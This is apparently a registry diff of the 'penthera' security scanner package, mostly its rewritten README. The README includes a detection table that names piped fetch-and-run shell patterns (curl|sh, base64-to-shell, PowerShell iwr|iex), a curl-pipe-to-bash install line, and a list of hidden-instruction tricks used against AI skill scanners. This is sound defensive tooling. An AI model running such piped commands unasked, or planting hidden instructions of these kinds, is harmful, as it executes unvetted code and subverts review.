penthera 1.5.0 → 1.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +170 -0
- package/README.md +128 -663
- package/bin/scan.js +19 -0
- package/docs/commands/README.md +23 -0
- package/docs/commands/action.md +21 -0
- package/docs/commands/agents.md +38 -0
- package/docs/commands/deps.md +115 -0
- package/docs/commands/fix.md +53 -0
- package/docs/commands/hook.md +69 -0
- package/docs/commands/install.md +53 -0
- package/docs/commands/scan.md +100 -0
- package/docs/commands/skill.md +58 -0
- package/docs/compare/README.md +25 -0
- package/docs/compare/github.md +60 -0
- package/docs/compare/semgrep.md +54 -0
- package/docs/compare/snyk.md +62 -0
- package/docs/compare/socket.md +78 -0
- package/docs/compare/zap.md +59 -0
- package/docs/dashboard.md +244 -0
- package/docs/evidence.md +8 -4
- package/docs/examples/github-actions-deps.yml +4 -4
- package/docs/examples/github-actions-scan.yml +4 -4
- package/docs/index.md +9 -0
- package/docs/internal-audit.md +83 -0
- package/docs/marketing.md +151 -0
- package/docs/plan.md +4 -3
- package/docs/privacy.md +38 -0
- package/docs/references.bib +10 -0
- package/docs/references.md +1 -0
- package/docs/research/socket-positioning-notes.md +183 -0
- package/docs/use-cases/README.md +14 -0
- package/docs/use-cases/agencies.md +71 -0
- package/docs/use-cases/ai-coding-teams.md +81 -0
- package/docs/use-cases/eu-sme-compliance.md +68 -0
- package/docs/use-cases/open-source-maintainers.md +75 -0
- package/docs/use-cases/solo-founder.md +65 -0
- package/lib/blackbox/email-dns.js +5 -0
- package/lib/compliance/questionnaire.js +4 -2
- package/lib/deps/capabilities.js +49 -12
- package/lib/deps/index.js +290 -30
- package/lib/deps/lockfile.js +25 -2
- package/lib/deps/popular-pypi.json +1 -0
- package/lib/deps/python/capabilities.js +447 -0
- package/lib/deps/python/index.js +234 -0
- package/lib/deps/python/lockfiles.js +359 -0
- package/lib/deps/python/source.js +396 -0
- package/lib/deps/python/toml.js +219 -0
- package/lib/deps/report.js +37 -6
- package/lib/deps/source.js +149 -24
- package/lib/deps/typosquat.js +24 -13
- package/lib/fix/apply.js +83 -19
- package/lib/hook/index.js +41 -8
- package/lib/install/index.js +59 -18
- package/lib/install/policy.js +17 -5
- package/lib/memory/repo-suppress.js +11 -3
- package/lib/references.json +77 -0
- package/lib/remediation/index.js +9 -0
- package/lib/retirejs.js +69 -17
- package/lib/rules/regex-guard.js +368 -0
- package/lib/templates.js +13 -6
- package/lib/tls.js +7 -0
- package/lib/whitebox/frameworks.js +8 -5
- package/lib/whitebox/secrets.js +20 -7
- package/package.json +7 -3
- package/skills/penthera/SKILL.md +23 -5
- package/src/cli/deps.js +60 -5
- package/src/cli/evidence.js +14 -4
- package/src/cli/install.js +14 -5
- package/src/cli/report-outputs.js +25 -2
- package/src/cli/ui.js +89 -0
- package/src/cli.js +19 -7
- package/src/report/audience.js +10 -10
- package/src/report/evidence.js +33 -14
- package/src/report/footer.js +11 -0
- package/src/report/markdown.js +6 -3
- package/src/report/md-escape.js +16 -0
- package/src/reporter.js +1 -0
- package/src/scan-url.js +5 -1
- package/src/ui/api/data.js +309 -0
- package/src/ui/api/demo.js +464 -0
- package/src/ui/api/routes.js +134 -0
- package/src/ui/api/runs.js +243 -0
- package/src/ui/api/summarize.js +451 -0
- package/src/ui/security.js +153 -0
- package/src/ui/server.js +186 -0
- package/src/ui/static/app.css +723 -0
- package/src/ui/static/favicon.svg +1 -0
- package/src/ui/static/index.html +57 -0
- package/src/ui/static/js/api.js +29 -0
- package/src/ui/static/js/app.js +138 -0
- package/src/ui/static/js/charts.js +207 -0
- package/src/ui/static/js/copy.js +79 -0
- package/src/ui/static/js/dom.js +120 -0
- package/src/ui/static/js/format.js +42 -0
- package/src/ui/static/js/theme.js +10 -0
- package/src/ui/static/js/typer.js +99 -0
- package/src/ui/static/js/views/ai.js +68 -0
- package/src/ui/static/js/views/deps.js +96 -0
- package/src/ui/static/js/views/evidence.js +115 -0
- package/src/ui/static/js/views/findings.js +165 -0
- package/src/ui/static/js/views/history.js +92 -0
- package/src/ui/static/js/views/overview.js +184 -0
- package/src/ui/static/js/views/run.js +349 -0
- package/src/ui/static/js/views/settings.js +67 -0
package/README.md
CHANGED
|
@@ -29,6 +29,19 @@ ship. On your own machine, offline, and free.**
|
|
|
29
29
|
|
|
30
30
|
---
|
|
31
31
|
|
|
32
|
+
## Try it in 60 seconds
|
|
33
|
+
|
|
34
|
+
No install, no account. Each step runs on your machine and sends nothing to us.
|
|
35
|
+
|
|
36
|
+
```bash
|
|
37
|
+
npx penthera agents --home # 1. audit your Claude Code, Cursor and MCP setup
|
|
38
|
+
npx penthera deps # 2. what can the packages in this project actually do?
|
|
39
|
+
npx penthera http://localhost:3000 # 3. scan the app you are about to ship
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
Then read [who it is for](#who-it-is-for), or let your coding agent drive it
|
|
43
|
+
with the [Agent Skill](#run-it).
|
|
44
|
+
|
|
32
45
|
## The problem
|
|
33
46
|
|
|
34
47
|
Teams now ship apps and AI agents faster than anyone can secure them. AI writes
|
|
@@ -46,19 +59,30 @@ teams that don't have one.
|
|
|
46
59
|
|
|
47
60
|
| | The job | What Penthera does | Command |
|
|
48
61
|
|---|---------|--------------------|---------|
|
|
49
|
-
| **Before you deploy** | Test the app | Scan your localhost or preview URL (TLS, headers, CORS, auth, JWT, IDOR, OAuth, OpenAPI, opt-in injection and fuzzing) and your repo (routes, trust boundaries, secrets including AI keys) | `penthera <url> --repo .` |
|
|
50
|
-
| | Fix and verify | Deterministic fixes on a local branch, re-scanned to prove they worked, remembered so the next run is sharper. Never pushes | `penthera agent --loop` |
|
|
51
|
-
| | Block it at commit time | Secrets, risky agent config, and dependency changes stopped before they are committed | `penthera hook install` |
|
|
52
|
-
| **What you build with** | Vet dependencies | What every package can actually do (install scripts, shell, network, env, obfuscation), what an upgrade added, lookalike names | `penthera deps --base main` |
|
|
53
|
-
| | Guard installs | Shows what a new package brings before any install script runs, and stops it under your policy | `penthera install <pkg>` |
|
|
54
|
-
| | Review pull requests | Comments the dependency capability diff on every PR that touches the lockfile | [GitHub Action](
|
|
55
|
-
| | Audit your AI tooling | Skills, MCP servers, hooks, plugins, and rule files: hidden instructions, unpinned servers, over-broad permissions, silent updates | `penthera agents --home` |
|
|
56
|
-
| **After you ship** | Report and prove | Reports for developers, owners, and auditors; a hashed, signable evidence bundle; NIS2 and CRA readiness and report drafts | `penthera <url> --audience auditor --evidence out/` |
|
|
62
|
+
| **Before you deploy** | Test the app | Scan your localhost or preview URL (TLS, headers, CORS, auth, JWT, IDOR, OAuth, OpenAPI, opt-in injection and fuzzing) and your repo (routes, trust boundaries, secrets including AI keys) | [`penthera <url> --repo .`](docs/commands/scan.md) |
|
|
63
|
+
| | Fix and verify | Deterministic fixes on a local branch, re-scanned to prove they worked, remembered so the next run is sharper. Never pushes | [`penthera agent --loop`](docs/commands/fix.md) |
|
|
64
|
+
| | Block it at commit time | Secrets, risky agent config, and dependency changes stopped before they are committed | [`penthera hook install`](docs/commands/hook.md) |
|
|
65
|
+
| **What you build with** | Vet dependencies | What every npm and Python package can actually do (install scripts, shell, network, env, obfuscation), what an upgrade added, lookalike names, licenses | [`penthera deps --base main`](docs/commands/deps.md) |
|
|
66
|
+
| | Guard installs | Shows what a new package brings before any install script runs, and stops it under your policy | [`penthera install <pkg>`](docs/commands/install.md) |
|
|
67
|
+
| | Review pull requests | Comments the dependency capability diff on every PR that touches the lockfile | [GitHub Action](docs/commands/action.md) |
|
|
68
|
+
| | Audit your AI tooling | Skills, MCP servers, hooks, plugins, and rule files: hidden instructions, unpinned servers, over-broad permissions, silent updates | [`penthera agents --home`](docs/commands/agents.md) |
|
|
69
|
+
| **After you ship** | Report and prove | Reports for developers, owners, and auditors; a hashed, signable evidence bundle; NIS2 and CRA readiness and report drafts | [`penthera <url> --audience auditor --evidence out/`](docs/evidence.md) |
|
|
70
|
+
| | See it all | A local dashboard on 127.0.0.1: where each project stands, findings in plain words, history, deps, AI tooling, evidence, and the fix loop with Apply / Skip / Stop per diff | [`penthera ui`](docs/dashboard.md) |
|
|
57
71
|
| | Keep watching | Scheduled checks of your own production for drift: certificates, headers, new endpoints, keys in bundles, new CVEs in your SBOM | *on the [roadmap](ROADMAP.md)* |
|
|
58
72
|
|
|
59
73
|
What it is not: a human pentester, a 24/7 SOC, or incident response. It does the
|
|
60
74
|
repeatable checks so the people you do have can spend their time on judgement.
|
|
61
75
|
|
|
76
|
+
## Who it is for
|
|
77
|
+
|
|
78
|
+
| You are | Start here |
|
|
79
|
+
|---|---|
|
|
80
|
+
| A solo founder or vibecoder about to launch | [Before launch](docs/use-cases/solo-founder.md) |
|
|
81
|
+
| A team adopting Claude Code or Cursor | [The AI-tooling supply chain](docs/use-cases/ai-coding-teams.md) |
|
|
82
|
+
| An open-source maintainer | [For maintainers](docs/use-cases/open-source-maintainers.md) |
|
|
83
|
+
| An EU SME with NIS2 or CRA duties | [Evidence for NIS2 and the CRA](docs/use-cases/eu-sme-compliance.md) |
|
|
84
|
+
| An agency shipping client apps | [A repeatable handover check](docs/use-cases/agencies.md) |
|
|
85
|
+
|
|
62
86
|
## Why you can trust it
|
|
63
87
|
|
|
64
88
|
- **Local and offline.** No account, no telemetry, no cloud. `--offline` limits
|
|
@@ -78,59 +102,69 @@ repeatable checks so the people you do have can spend their time on judgement.
|
|
|
78
102
|
[48 verified references](docs/references.md), and a reproducible
|
|
79
103
|
[benchmark](bench/RESULTS.md) with precision and recall.
|
|
80
104
|
|
|
81
|
-
|
|
105
|
+
## By the numbers
|
|
82
106
|
|
|
83
|
-
|
|
107
|
+
Penthera has no customer logos yet. Here is what can be checked instead.
|
|
84
108
|
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
109
|
+
| | |
|
|
110
|
+
|---|---|
|
|
111
|
+
| Benchmark, labelled local targets | precision 0.86, recall 0.90 (19 true positives, 3 false positives, 2 misses; [every one listed](bench/RESULTS.md)) |
|
|
112
|
+
| Detection rules, all readable | 14 URL scan templates, 20 secret and AI-key patterns, 15 dependency capabilities, 39 AI-tooling audit rules, 5 fix recipes |
|
|
113
|
+
| Tests | 687 in the suite, run on Node 22 and 24 on every push |
|
|
114
|
+
| Release gate | an [internal audit](docs/internal-audit.md) of 8 gates (tests, benchmark drift, self-scan, CLI smoke, packaging, offline egress, supply chain, docs links); [latest report](audit/REPORT.md) |
|
|
115
|
+
| Research | a [methodology](docs/METHODOLOGY.md) backed by [48 cited references](docs/references.md) |
|
|
116
|
+
| Supply chain of Penthera itself | [OpenSSF Scorecard](https://scorecard.dev/viewer/?uri=github.com/danoszz/penthera), SHA-pinned CI, CodeQL, npm provenance, each release staged and approved with 2FA |
|
|
117
|
+
| Network calls in `--offline` mode | only the target you named; the benchmark run made 0 requests to non-loopback hosts |
|
|
118
|
+
|
|
119
|
+
Counts as of 2026-10-19. Refresh them with `npm run docs:numbers` (add
|
|
120
|
+
`-- --tests` to count tests), `npm run bench` and `npm run audit:internal`. The benchmark targets are small and written
|
|
121
|
+
by the same people as the scanner, so they catch regressions rather than
|
|
122
|
+
measure real-world accuracy; see [its limits](bench/RESULTS.md#limits-of-these-numbers).
|
|
88
123
|
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
| [Socket](https://socket.dev) | Supply-chain risk across package registries, extensions, and skills | Cloud service, GitHub App, CLI | Package analysis at registry scale, including AI review | Free tier and paid plans |
|
|
93
|
-
| [Snyk](https://snyk.io) | Known vulnerabilities in dependencies, code, containers, and IaC | Cloud service, IDE, CLI | Curated vulnerability database plus static analysis | Free tier and paid plans |
|
|
94
|
-
| [GitHub Dependabot and code scanning](https://docs.github.com/code-security) | Known-CVE alerts, update PRs, CodeQL | GitHub | Advisory database, CodeQL queries | Free for public repos |
|
|
95
|
-
| [OWASP ZAP](https://www.zaproxy.org) | Dynamic testing of web apps | Your machine or CI | Active and passive scan rules | Free, open source |
|
|
96
|
-
| [Anthropic OSS Scanner](https://red.anthropic.com/oss-scanner/) | Finding vulnerabilities in established open-source projects | Run by Anthropic, opt-in for maintainers | AI-driven review with reproducible reports | Free for accepted projects |
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## How Penthera fits with other tools
|
|
97
127
|
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
- it fixes what it finds and re-scans to verify the fix;
|
|
102
|
-
- it produces NIS2 evidence.
|
|
128
|
+
Penthera is meant to sit next to the tools you already use. Its SARIF output
|
|
129
|
+
goes straight into GitHub code scanning, for example. Each comparison page says
|
|
130
|
+
where the other tool goes further and how to run the two together.
|
|
103
131
|
|
|
104
|
-
|
|
105
|
-
|
|
132
|
+
| | Focus | Where it runs | How it decides |
|
|
133
|
+
|---|---|---|---|
|
|
134
|
+
| **Penthera** | Your app, your dependencies, your AI tooling, fixes, EU evidence | Your machine or CI, offline | Readable deterministic rules, with evidence |
|
|
135
|
+
| [Socket](docs/compare/socket.md) | Supply-chain risk across package registries | Cloud service, GitHub App, CLI | Registry-scale package analysis, including AI review |
|
|
136
|
+
| [Snyk](docs/compare/snyk.md) | Known vulnerabilities in dependencies, code, containers, IaC | Cloud service, IDE, CLI | Curated vulnerability database plus static analysis |
|
|
137
|
+
| [GitHub Dependabot and code scanning](docs/compare/github.md) | Known-CVE alerts, update PRs, CodeQL | GitHub | Advisory database, CodeQL queries |
|
|
138
|
+
| [OWASP ZAP](docs/compare/zap.md) | Dynamic testing of web apps | Your machine or CI | Active and passive scan rules |
|
|
139
|
+
| [Semgrep](docs/compare/semgrep.md) | Static analysis of your own code | Your machine, CI, cloud platform | Pattern rules, plus a paid cross-file engine |
|
|
106
140
|
|
|
107
|
-
|
|
108
|
-
Corrections are welcome by pull request.
|
|
141
|
+
All comparisons: [docs/compare/](docs/compare/README.md). Corrections are welcome by pull request.
|
|
109
142
|
|
|
110
143
|
---
|
|
111
144
|
|
|
112
|
-
##
|
|
145
|
+
## Run it
|
|
113
146
|
|
|
114
|
-
**As an Agent Skill (recommended).** Let Claude Code or
|
|
115
|
-
|
|
116
|
-
this package safe to add?", or "audit my MCP servers"
|
|
117
|
-
check, runs it, and walks you through the fixes.
|
|
147
|
+
**As an Agent Skill (recommended).** Let Claude Code, Cursor or [40+ other
|
|
148
|
+
agents](https://agentskills.io/clients) drive it, then ask "scan my app for
|
|
149
|
+
security issues", "is this package safe to add?", or "audit my MCP servers":
|
|
118
150
|
|
|
119
|
-
|
|
120
|
-
|
|
151
|
+
```bash
|
|
152
|
+
npx skills add danoszz/penthera
|
|
153
|
+
```
|
|
121
154
|
|
|
122
|
-
|
|
155
|
+
**As a CLI.** `npx penthera https://your-app.example`, or install it with the
|
|
156
|
+
one-line installer, which also links the skill into Cursor and Claude Code:
|
|
123
157
|
|
|
124
|
-
|
|
158
|
+
```bash
|
|
159
|
+
curl -fsSL https://raw.githubusercontent.com/danoszz/penthera/main/install.sh | bash
|
|
160
|
+
```
|
|
125
161
|
|
|
126
|
-
|
|
127
|
-
|
|
162
|
+
Run `penthera` with no arguments for a guided wizard. Other install routes
|
|
163
|
+
(Claude Code plugin, Claude.ai upload, per-project copy) are in
|
|
164
|
+
[docs/commands/skill.md](docs/commands/skill.md).
|
|
128
165
|
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
customer security questionnaires](#compliance-nis2-and-the-cyberwetgeving), plus
|
|
132
|
-
CRA Article 14 report drafts and an AI-BOM.
|
|
133
|
-
Readiness tooling, not a certification.
|
|
166
|
+
> The skill adds an authorization gate: it instructs your agent to refuse targets
|
|
167
|
+
> you do not own or are not authorized to test.
|
|
134
168
|
|
|
135
169
|
### What you get
|
|
136
170
|
|
|
@@ -155,68 +189,27 @@ Every finding carries a confidence label (`confirmed`, `likely`, `potential`,
|
|
|
155
189
|
`needs-human-review`), so a heuristic never poses as a certainty. Reports come
|
|
156
190
|
out as Markdown, JSON, and SARIF, with the fixes in priority order.
|
|
157
191
|
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
---
|
|
161
|
-
|
|
162
|
-
## Run it
|
|
163
|
-
|
|
164
|
-
**One-line install** (clones the repo, links the CLI, and installs the skill into
|
|
165
|
-
Cursor and Claude Code if it finds them):
|
|
166
|
-
|
|
167
|
-
```bash
|
|
168
|
-
curl -fsSL https://raw.githubusercontent.com/danoszz/penthera/main/install.sh | bash
|
|
169
|
-
```
|
|
170
|
-
|
|
171
|
-
**Or via the Agent Skills CLI** (Cursor, Claude Code, and [40+ agents](https://agentskills.io/clients)):
|
|
172
|
-
|
|
173
|
-
```bash
|
|
174
|
-
npx skills add danoszz/penthera
|
|
175
|
-
```
|
|
176
|
-
|
|
177
|
-
Then talk to your agent:
|
|
178
|
-
|
|
179
|
-
```
|
|
180
|
-
"Scan my localhost:3000 for security issues"
|
|
181
|
-
"Run a pre-deploy security audit on staging.myapp.com"
|
|
182
|
-
"Find hardcoded secrets in this repo before I push"
|
|
183
|
-
```
|
|
184
|
-
|
|
185
|
-
**Or try it with no install at all:**
|
|
192
|
+
## Commands
|
|
186
193
|
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
|
204
|
-
|
|
205
|
-
|
|
|
206
|
-
| **Machine audit** | `penthera --machine` | macOS checks (keyloggers, persistence, rootkits) |
|
|
207
|
-
| **Dependencies** | `penthera deps` | What each npm package can do (install scripts, shell, network, env, eval, native, obfuscation), capability diff on upgrades, typosquats. Offline |
|
|
208
|
-
|
|
209
|
-
Pick a profile, or add individual flags for more depth:
|
|
210
|
-
|
|
211
|
-
| Profile | Command | What runs |
|
|
212
|
-
|---------|---------|-----------|
|
|
213
|
-
| **quick** | `--profile quick` | Headers, OpenAPI, auth smoke tests (about 10s) |
|
|
214
|
-
| **standard** | *(default)* | Full non-destructive scan |
|
|
215
|
-
| **deep** | `--profile deep` | recon, injection probes, and API fuzzing |
|
|
216
|
-
|
|
217
|
-
Individual flags: `--recon`, `--deep`, `--fuzz`, `--adaptive`, `--nuclei <path>`, `--templates <dirs>`, `--all`
|
|
218
|
-
|
|
219
|
-
---
|
|
194
|
+
| Command | What it does | Details |
|
|
195
|
+
|---|---|---|
|
|
196
|
+
| `penthera <url> [--repo .]` | Black-box and white-box scan; `--profile quick\|standard\|deep` | [scan.md](docs/commands/scan.md) |
|
|
197
|
+
| `penthera agents [--home] [--pin]` | Audit skills, MCP servers, hooks, permissions, plugins, rule files; graded A to F | [agents.md](docs/commands/agents.md) |
|
|
198
|
+
| `penthera deps [--base main]` | Capabilities of every npm and Python package, upgrade diff, typosquats, `--license-policy` | [deps.md](docs/commands/deps.md) |
|
|
199
|
+
| `penthera install <pkg>` | Install firewall: review before any install script runs | [install.md](docs/commands/install.md) |
|
|
200
|
+
| `penthera fix --plan`, `penthera agent --loop` | Deterministic fixes as diffs; the local scan, fix, verify, learn loop | [fix.md](docs/commands/fix.md) |
|
|
201
|
+
| `penthera hook install` | Pre-commit hook on staged changes, about 0.1 to 0.5 s | [hook.md](docs/commands/hook.md) |
|
|
202
|
+
| `uses: danoszz/penthera@<sha>` | PR comment with the capability diff, plus SARIF | [action.md](docs/commands/action.md) |
|
|
203
|
+
| `penthera --machine` | macOS checks (persistence, keyloggers, rootkits) | [scan.md](docs/commands/scan.md) |
|
|
204
|
+
| `penthera ui [--open] [--demo]` | Local dashboard on 127.0.0.1; runs scans and the fix loop from the page | [dashboard.md](docs/dashboard.md) |
|
|
205
|
+
|
|
206
|
+
Scans, `agents` and `deps` write Markdown, JSON and SARIF (`--markdown`,
|
|
207
|
+
`--json`, `--sarif`). Exit code `1` means critical or high findings, `2` means
|
|
208
|
+
the scan failed.
|
|
209
|
+
|
|
210
|
+
| `penthera ui`, dark | `penthera ui`, light |
|
|
211
|
+
|---|---|
|
|
212
|
+
|  |  |
|
|
220
213
|
|
|
221
214
|
## How it works
|
|
222
215
|
|
|
@@ -244,469 +237,21 @@ default scan is non-destructive. Payload-based testing is opt-in (`--deep`,
|
|
|
244
237
|
`--fuzz`, `--all`) and gated behind explicit confirmation.
|
|
245
238
|
|
|
246
239
|
---
|
|
247
|
-
|
|
248
|
-
## Quick start
|
|
249
|
-
|
|
250
|
-
```bash
|
|
251
|
-
# First time? Run with no args for guided setup
|
|
252
|
-
penthera
|
|
253
|
-
|
|
254
|
-
# Safe default scan (non-destructive)
|
|
255
|
-
penthera https://myapp.com
|
|
256
|
-
|
|
257
|
-
# Staging plus source code, full report set
|
|
258
|
-
penthera https://staging.myapp.com --repo . --all -o reports/scan.json --sarif reports/scan.sarif
|
|
259
|
-
|
|
260
|
-
# Baseline diff: show only new findings since the last scan
|
|
261
|
-
penthera https://myapp.com -o reports/scan.json --baseline reports/previous.json
|
|
262
|
-
|
|
263
|
-
# Authenticated scan (session cookie or bearer token)
|
|
264
|
-
PENTHERA_BEARER=eyJ... penthera https://myapp.com --profile standard
|
|
265
|
-
penthera https://myapp.com --auth-cookie "session=abc123"
|
|
266
|
-
```
|
|
267
|
-
|
|
268
|
-
Writing to `-o reports/scan.json` also drops a human-readable `reports/scan.md`
|
|
269
|
-
next to it. Reports are gitignored by default.
|
|
270
|
-
|
|
271
|
-
### Exit codes
|
|
272
|
-
|
|
273
|
-
| Code | Meaning |
|
|
274
|
-
|------|---------|
|
|
275
|
-
| `0` | No critical or high findings |
|
|
276
|
-
| `1` | Critical or high findings detected |
|
|
277
|
-
| `2` | Scan failed (unreachable target, bad config) |
|
|
278
|
-
|
|
279
|
-
---
|
|
280
|
-
|
|
281
|
-
## Output
|
|
282
|
-
|
|
283
|
-
| Format | Flag | Use |
|
|
284
|
-
|--------|------|-----|
|
|
285
|
-
| Terminal | *(default)* | Colored summary plus top 3 fixes |
|
|
286
|
-
| **Markdown** | `--markdown file.md` or `-o file.json` | Human-readable report (exec summary, findings tables, fixes). Written next to `-o` automatically |
|
|
287
|
-
| JSON | `--json` or `-o file.json` | CI pipelines, baseline diffs, custom tooling |
|
|
288
|
-
| SARIF | `--sarif file.sarif` | GitHub Security / Code Scanning tab |
|
|
289
|
-
| Audience report | `--audience developer\|owner\|auditor` | The same scan written for a developer, an owner or an auditor ([docs/evidence.md](docs/evidence.md#audience-reports)) |
|
|
290
|
-
| Your template | `--report-template file.md` | Your own Markdown with `{{summary.critical}}`, `{{#each findings}}`, `{{#if x}}`; no code runs |
|
|
291
|
-
| **Evidence bundle** | `--evidence <dir> [--sign-key <ssh-key>]` | All reports plus `manifest.json` with SHA-256s, optionally SSH-signed. Auditors check it with `penthera evidence verify <dir> --allowed-signers <file>` ([docs/evidence.md](docs/evidence.md)) |
|
|
292
|
-
|
|
293
|
-
---
|
|
294
|
-
|
|
295
|
-
## For your AI coding agent
|
|
296
|
-
|
|
297
|
-
Penthera ships as an [Agent Skill](https://agentskills.io), the open format used
|
|
298
|
-
by Cursor, Claude Code, Claude.ai, and [40+ agent tools](https://agentskills.io/clients).
|
|
299
|
-
The skill teaches an agent to run authorized scans, pick the right profile, and
|
|
300
|
-
summarize findings, so you can just describe what you want.
|
|
301
|
-
|
|
302
|
-
**Install** (any of these):
|
|
303
|
-
|
|
304
|
-
```bash
|
|
305
|
-
# Cross-agent, frictionless
|
|
306
|
-
npx skills add danoszz/penthera
|
|
307
|
-
|
|
308
|
-
# Or the one-line installer (also links the CLI)
|
|
309
|
-
curl -fsSL https://raw.githubusercontent.com/danoszz/penthera/main/install.sh | bash
|
|
310
|
-
|
|
311
|
-
# Or copy into a single project for team sharing
|
|
312
|
-
cp -r skills/penthera .cursor/skills/penthera # Cursor
|
|
313
|
-
cp -r skills/penthera .claude/skills/penthera # Claude Code
|
|
314
|
-
```
|
|
315
|
-
|
|
316
|
-
Or as a Claude Code plugin (installs the skill):
|
|
317
|
-
|
|
318
|
-
```bash
|
|
319
|
-
/plugin marketplace add danoszz/penthera
|
|
320
|
-
/plugin install penthera@penthera
|
|
321
|
-
```
|
|
322
|
-
|
|
323
|
-
For Claude.ai (web), zip and upload the skill:
|
|
324
|
-
|
|
325
|
-
```bash
|
|
326
|
-
npm run package:skill # produces penthera-skill.zip; upload in Settings > Capabilities > Skills
|
|
327
|
-
```
|
|
328
|
-
|
|
329
|
-
**Prompts that trigger it:**
|
|
330
|
-
|
|
331
|
-
- "Scan my localhost app on port 3000 for security issues"
|
|
332
|
-
- "Run a pre-deploy audit on staging.myapp.com and summarize critical findings"
|
|
333
|
-
- "Scan this repo for hardcoded secrets and exposed API routes"
|
|
334
|
-
- "Compare today's scan to last week's baseline and show only new findings"
|
|
335
|
-
- "Generate a SARIF report for GitHub code scanning"
|
|
336
|
-
- "Audit my MCP servers, skills and Claude Code hooks"
|
|
337
|
-
|
|
338
|
-
The skill adds an authorization gate: it instructs the agent to refuse targets you
|
|
339
|
-
do not own or are not authorized to test, and the wizard asks you to confirm before
|
|
340
|
-
scanning a remote host. It is an agent-level and interactive safeguard, not something
|
|
341
|
-
the raw CLI enforces. You are responsible for every target you pass it. Run preflight
|
|
342
|
-
before the first scan:
|
|
343
|
-
|
|
344
|
-
```bash
|
|
345
|
-
bash skills/penthera/scripts/preflight.sh http://localhost:3000
|
|
346
|
-
```
|
|
347
|
-
|
|
348
|
-
Skill source and workflows live in [`skills/penthera/SKILL.md`](skills/penthera/SKILL.md).
|
|
349
|
-
|
|
350
|
-
---
|
|
351
|
-
|
|
352
|
-
## Audit your agent setup
|
|
353
|
-
|
|
354
|
-
Your AI tools run code too. `penthera agents` audits the skills, MCP servers,
|
|
355
|
-
hooks, permissions, plugins and rule files that Claude Code, Cursor, Claude
|
|
356
|
-
Desktop, VS Code and Copilot load, and grades the setup A to F.
|
|
357
|
-
|
|
358
|
-
```bash
|
|
359
|
-
penthera agents # this repo: .mcp.json, .claude/, .cursor/, AGENTS.md, CLAUDE.md, skills/
|
|
360
|
-
penthera agents --home # + ~/.claude (hooks, permissions, plugins, skills), ~/.cursor/mcp.json, Claude Desktop
|
|
361
|
-
penthera agents ./some-skill # vet a downloaded skill before you install it
|
|
362
|
-
penthera agents --pin # write penthera.lock; later runs flag anything that changed
|
|
363
|
-
```
|
|
364
|
-
|
|
365
|
-
It is **offline and deterministic**: no LLM judge, no registry lookups, nothing
|
|
366
|
-
leaves your machine, and it never modifies the config it reads. Every verdict
|
|
367
|
-
is a rule you can read in [`lib/agents/`](lib/agents/), so a skill can't talk
|
|
368
|
-
its way past it.
|
|
369
|
-
|
|
370
|
-
| Check | What it catches |
|
|
371
|
-
|---|---|
|
|
372
|
-
| Hidden content | Unicode tag characters (decoded), zero-width and bidi controls, variation-selector smuggling, text pushed past a wall of blank lines or off-screen, instructions in HTML comments, text addressed to the scanner, base64 blobs (decoded and classified), `.pyc`/archives/executables in a skill folder (by magic bytes, so a renamed `.png` doesn't hide one), symlinks that leave the folder |
|
|
373
|
-
| Code execution | `curl \| sh`, `wget \| bash`, `bash <(curl …)`, `eval "$(curl …)"`, `base64 -d \| sh`, `exec(base64…)`, PowerShell `iwr \| iex`, in skills, scripts, hooks and MCP launch commands |
|
|
374
|
-
| MCP servers | `npx -y` / `uvx` / `bunx` / `pnpm dlx` without an exact version, inline secrets in `env`, headers or args (same rules as the repo secret scan), remote servers over plain `http://` |
|
|
375
|
-
| Hooks & permissions | Hooks that auto-approve tool calls or pipe into a shell (including the scripts they run), `Bash(*)` and other wildcard allows, `bypassPermissions`, allow rules for `~/.ssh` and other credential files, wildcards in a skill's `allowed-tools` |
|
|
376
|
-
| Plugins | Marketplaces and marketplace plugins not pinned to a commit |
|
|
377
|
-
| Rug pulls | `--pin` writes SHA-256 hashes of every skill folder, MCP server definition, hook and installed plugin to `penthera.lock`. A later run reports what changed, appeared or disappeared |
|
|
378
|
-
|
|
379
|
-
Each finding names the OWASP [MCP Top 10](https://owasp.org/www-project-mcp-top-10/)
|
|
380
|
-
and [Agentic Top 10](https://genai.owasp.org/) (ASI) ids it maps to, and the
|
|
381
|
-
usual `--json`, `-o`, `--markdown` and `--sarif` outputs all work. The scanner
|
|
382
|
-
is built for the ways LLM-judged skill scanners have been bypassed: it reads
|
|
383
|
-
whole files (no context window to overflow), every file in a skill folder (not
|
|
384
|
-
just `SKILL.md`), and treats text aimed at a reviewer as a finding rather than
|
|
385
|
-
an argument.
|
|
386
|
-
|
|
387
|
-
---
|
|
388
|
-
|
|
389
|
-
## Scan and fix
|
|
390
|
-
|
|
391
|
-
Penthera does not just report problems. It closes the loop: ask your agent to fix what it finds, and it detects the issue, applies a framework-aware fix to your code (shown as a diff for you to approve), and re-scans to prove it is resolved.
|
|
392
|
-
|
|
393
|
-
```
|
|
394
|
-
"Scan my app and fix what you find"
|
|
395
|
-
"Fix the security headers on my Next.js app and re-scan to confirm"
|
|
396
|
-
"Find and fix hardcoded secrets in this repo"
|
|
397
|
-
```
|
|
398
|
-
|
|
399
|
-
Fixes come from a [remediation playbook](skills/penthera/references/remediation.md) covering Next.js, Express, Fastify, Hono, and FastAPI. They are always shown as diffs for your approval and verified by a re-scan; nothing is applied blindly, and nothing touches production. To build secure-by-default in the first place, see [secure defaults](skills/penthera/references/secure-defaults.md).
|
|
400
|
-
|
|
401
|
-
### Fix recipes
|
|
402
|
-
|
|
403
|
-
For the most common findings you don't need an agent at all. `penthera fix` plans deterministic, local fixes and prints each one as a unified diff:
|
|
404
|
-
|
|
405
|
-
```bash
|
|
406
|
-
